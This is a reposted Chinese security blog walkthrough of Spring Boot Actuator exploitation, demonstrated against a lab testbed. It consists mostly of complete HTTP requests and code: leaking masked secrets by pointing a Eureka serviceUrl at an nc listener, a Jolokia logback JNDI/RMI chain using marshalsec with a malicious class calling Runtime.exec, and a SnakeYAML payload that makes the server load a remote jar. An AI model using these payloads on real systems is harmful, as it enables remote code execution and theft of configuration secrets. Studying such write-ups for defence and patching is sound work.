【实例讲解】SpringBoot Actuator RCE 漏洞总结

admin 2023年3月13日18:06:09评论26 views字数 7880阅读26分16秒阅读模式

【实例讲解】SpringBoot Actuator RCE 漏洞总结

网安教育

培养网络安全人才

技术交流、学习咨询

SpringBoot env 获取* 敏感信息

当我们直接访问 springboot 站点时,可以看到某些 password 字段填充了*

1通过${name} 可以获取明文字段
2配置不当导致敏感信息泄露(password 打星号,而 pwd 没有打星号) 

参考 https://mp.weixin.qq.com/s/HmGEYRcf1hSVw9Uu9XHGsA

具体实现过程:

例如: 我们要获取 pid 参数值

1"PID": "10648",
 1POST /env HTTP/1.1
 2Host: 10.20.24.191:8090
 3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 5Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 6Accept-Encoding: gzip, deflate
 7Connection: close
 8Upgrade-Insecure-Requests: 1
 9Content-Type: application/x-www-form-urlencoded
10Content-Length: 76
11
12eureka.client.serviceUrl.defaultZone=http://${PID}@10.20.24.191:2444/

然后 post refresh 任意内容,触发漏洞

Ps: 一般情况需要等待3秒会有响应包,如果立即返回可能是服务缺少spring-boot-starter-actuator扩展包无法刷新漏洞则无法利用

 1POST /refresh HTTP/1.1
 2Host: 10.20.24.191:8090
 3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 5Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 6Accept-Encoding: gzip, deflate
 7Connection: close
 8Upgrade-Insecure-Requests: 1
 9Content-Type: application/x-www-form-urlencoded
10Content-Length: 5
11
1212312

当服务器 nc 监听端口2444 时,接收到

 1root@kali:/tmp# nc -lvvp 2444
 2listening on [any] 2444 ...
 3connect to [10.20.24.191] from kali [10.20.24.191] 40960
 4GET /xstream/apps/ HTTP/1.1
 5Accept: application/json
 6DiscoveryIdentity-Name: DefaultClient
 7DiscoveryIdentity-Version: 1.4
 8DiscoveryIdentity-Id: 10.20.24.191
 9Accept-Encoding: gzip
10Host: 10.20.24.191:2444
11Connection: Keep-Alive
12User-Agent: Java-EurekaClient/v1.4.11
13Authorization: Basic MzgzNDY6bnVsbA==
1Authorization: Basic MzgzNDY6bnVsbA==

base64 解码得到

1root@kali:/tmp# echo MzgzNDY6bnVsbA== |base64 -d
238346:null

和上面的 pid 信息一样

同样 获取 user.country参数,步骤也一样

结果:

 1root@kali:/tmp# nc -lvvp 2555
 2listening on [any] 2555 ...
 3connect to [10.20.24.191] from kali [10.20.24.191] 38994
 4GET /xstream/apps/ HTTP/1.1
 5Accept: application/json
 6DiscoveryIdentity-Name: DefaultClient
 7DiscoveryIdentity-Version: 1.4
 8DiscoveryIdentity-Id: 10.20.24.191
 9Accept-Encoding: gzip
10Host: 10.20.24.191:2555
11Connection: Keep-Alive
12User-Agent: Java-EurekaClient/v1.4.11
13Authorization: Basic VVM6bnVsbA==
14
15 sent 0, rcvd 310

base64 解码得到

1root@kali:/tmp# echo VVM6bnVsbA== |base64 -d
2US:null

脚本化

输入要查询的参数,输入 nc 监听的端口

监听端口,获取指定 header 头,自动 base64 解密

Ps: 如果您很幸运在目标类路径中具有Eureka-Client <1.8.7(通常包含在Spring Cloud Netflix中),则可以利用其中的XStream反序列化漏洞。

例如: User-Agent: Java-EurekaClient/v1.4.11

SpringBoot_Actuator JNDI RCE 漏洞复现

0x01 环境搭建

1git clone https://github.com/veracode-research/actuator-testbed

启动

1mvn install
2
3mvn spring-boot:run

通过编译运行,发现监听IP 地址为 127.0.0.1,只能本机访问 百度查找,修改为 0.0.0.0 就好了

查找关键文件

1grep -r 'server.address' -n ./
1./src/main/resources/application.properties:2:server.address=127.0.0.1
2./target/classes/application.properties:2:server.address=127.0.0.1

改为

 1server.port=8090
 2server.address=0.0.0.0
 3
 4# vulnerable configuration set 0: spring boot 1.0 - 1.4
 5# all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters
 6# no configuration required to expose them
 7
 8# safe configuration set 0: spring boot 1.0 - 1.4
 9#management.security.enabled=true
10
11# vulnerable configuration set 1: spring boot 1.5+
12# spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators
13#management.security.enabled=false
14
15# safe configuration set 1: spring boot 1.5+
16# when 'management.security.enabled=false' but all sensitive actuators explicitly disabled
17#management.security.enabled=false
18
19# vulnerable configuration set 2: spring boot 2+
20#management.endpoints.web.exposure.include=*

0x02 重启启动

1mvn spring-boot:run
2
3
4
5/opt/jdk1.8.0_60//bin/java -classpath /opt/apache-maven-3.6.2/boot/plexus-classworlds-2.6.0.jar -Dclassworlds.c

稍等片刻

1root@kali:~/actuator/actuator-testbed# netstat -ntpl |grep 8090
2tcp6       0      0 :::8090                 :::*                    LISTEN      33666/java
3root@kali:~/actuator/actuator-testbed#

http://10.20.24.191:8090/

http://10.20.24.191:8090/jolokia/list

中 reloadByURL 可以加载远程 url xml 文件

 1"ch.qos.logback.classic": {
 2"Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator": {
 3"op": {
 4"reloadByURL": {
 5"args": [
 6{
 7"name": "p1",
 8"type": "java.net.URL",
 9"desc": ""
10}
11],
12"ret": "void",
13"desc": "Operation exposed for management"
14}

0x03 http 服务存放logback.xml,ExportObject.class

logback.xml 文件内容

1<configuration>
2  <insertFromJNDI env-entry-name="rmi://10.20.24.191:1099/Exploit" as="appName" />
3</configuration>

ExportObject.java

 1import java.io.BufferedReader;
 2import java.io.InputStream;
 3import java.io.InputStreamReader;
 4
 5public class ExportObject {
 6   public ExportObject() throws Exception {
 7      Process var1 = Runtime.getRuntime().exec("touch /tmp/jas502n");
 8      InputStream var2 = var1.getInputStream();
 9      BufferedReader var3 = new BufferedReader(new InputStreamReader(var2));
10
11      String var4;
12      while((var4 = var3.readLine()) != null) {
13         System.out.println(var4);
14      }
15
16      var1.waitFor();
17      var2.close();
18      var3.close();
19      var1.destroy();
20   }
21
22   public static void main(String[] var0) throws Exception {
23   }
24}

0x04 RCE触发

监听 rmi 端口

 1root@kali:~/ldap_rmi# cat rmi.sh
 2java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer     http://10.20.24.191:8000/#ExportObject
 3
 4
 5root@kali:~/ldap_rmi# ./rmi.sh
 6* Opening JRMP listener on 1099
 7Have connection from /10.20.24.191:43878
 8Reading message...
 9Is RMI.lookup call for ExportObject 2
10Sending remote classloading stub targeting http://10.20.24.191:8000/ExportObject.class
11Closing connection

浏览器访问加载远程logback.xml文件进行解析,

服务器访问恶意jndi 地址,导致恶意字节码代码执行

1http://10.20.24.191:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/10.20.24.191:8000!/logback.xml

0x05 命令执行成功

1root@kali:/var/www/html# ls /tmp/j*
2/tmp/jas502n
3root@kali:/var/www/html#
YML RCE 漏洞复现

通过Spring环境spring.cloud.bootstrap.location 属性修改来实现RCE的方法更可靠

该属性用于加载外部配置并以YAML格式解析它。 为了实现这一点,任需要POST /refresh 任意内容触发漏洞。

yaml_payload.yml 文件内容

1!!javax.script.ScriptEngineManager [
2  !!java.net.URLClassLoader [[
3    !!java.net.URL ["http://10.20.24.191:8000/yaml_payload.jar"]
4  ]]
5]

0x00 yaml_payload.jar 制造

代码 https://github.com/artsploit/yaml-payload

AwesomeScriptEngineFactory.java 部分代码

 1import javax.script.ScriptEngine;
 2import javax.script.ScriptEngineFactory;
 3import java.io.IOException;
 4import java.util.List;
 5
 6public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
 7
 8    public AwesomeScriptEngineFactory() {
 9        try {
10            Runtime.getRuntime().exec("touch /tmp/success");
11        } catch (IOException e) {
12            e.printStackTrace();
13        }
14    }

ymal_payload.jarartsploitAwesomeScriptEngineFactory.java

包含实际的字节码,并在构造函数中带有恶意有效载荷。

ymal_payload.jarservicesjavax.script.ScriptEngineFactory

只是一个包含对'artsploit.AwesomeScriptEngineFactory'的完整引用的文本文件, 以便ServiceLoader知道在哪里可以找到该类

内容:artsploit.AwesomeScriptEngineFactory

jar 文件存在到http服务器中

http://10.20.24.191:8090/ymal_payload.jar

0x01 Set spring.cloud.bootstrap.location

1spring.cloud.bootstrap.location=http://10.20.24.191:8090/yaml_payload.yml
 1POST /env HTTP/1.1
 2Host: 10.20.24.191:8090
 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 5Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 6Accept-Encoding: gzip, deflate
 7X-Forwarded-For: 127.0.0.1
 8Connection: close
 9Upgrade-Insecure-Requests: 1
10Content-Type: application/x-www-form-urlencoded
11Content-Length: 73
12
13spring.cloud.bootstrap.location=http://10.20.24.191:8000/yaml_payload.yml

0x02 refresh post任意内容,RCE 漏洞触发

 1POST /refresh HTTP/1.1
 2Host: 10.20.24.191:8090
 3User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 5Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 6Accept-Encoding: gzip, deflate
 7X-Forwarded-For: 127.0.0.1
 8Connection: close
 9Upgrade-Insecure-Requests: 1
10Content-Type: application/x-www-form-urlencoded
11Content-Length: 5
12
1312312

0x03 RCE 执行成功

1root@kali:/var/www/html# ls /tmp/succ*
2/tmp/success
3root@kali:/var/www/html# 

Ps: 与Eureka的XStream有效负载相比,yaml的方法甚至可以在最新版本中使用。

参考链接

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators

END
【实例讲解】SpringBoot Actuator RCE 漏洞总结

文:jas502n

原文链接:https://github.com/jas502n/SpringBoot_Actuator_RCE

版权声明:著作权归作者所有。如有侵权请联系删除

原文始发于微信公众号(开源聚合网络空间安全研究院):【实例讲解】SpringBoot Actuator RCE 漏洞总结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月13日18:06:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【实例讲解】SpringBoot Actuator RCE 漏洞总结https://cn-sec.com/archives/1602068.html

发表评论

匿名网友 填写信息